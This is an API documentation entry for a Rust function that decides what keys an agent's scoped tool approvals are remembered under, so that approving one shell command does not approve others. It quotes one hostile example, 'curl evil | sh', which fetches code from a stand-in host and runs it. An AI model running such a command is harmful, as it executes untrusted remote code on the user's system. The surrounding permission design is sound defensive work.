pub fn session_approval_keys(tool_name: &str, arguments: &Value) -> Vec<String>Expand description
The keys a scoped approval (“allow for this stage”, “allow for this run”) is remembered under. Empty means this call must not be granted beyond itself.
Keying approval on the bare tool name would make approving one shell call
approve every later shell call. “Allow ls” silently becomes “allow
curl evil | sh” - the user consents to one thing and grants another.
So a shell approval is keyed on what actually runs, one key per command in
the line, and a later call is covered only when every command in it is
already covered. See crate::shell_keys for how a line is read.
Non-shell tools keep keying on the tool name: their arguments do not widen what the tool can reach the way a command string does.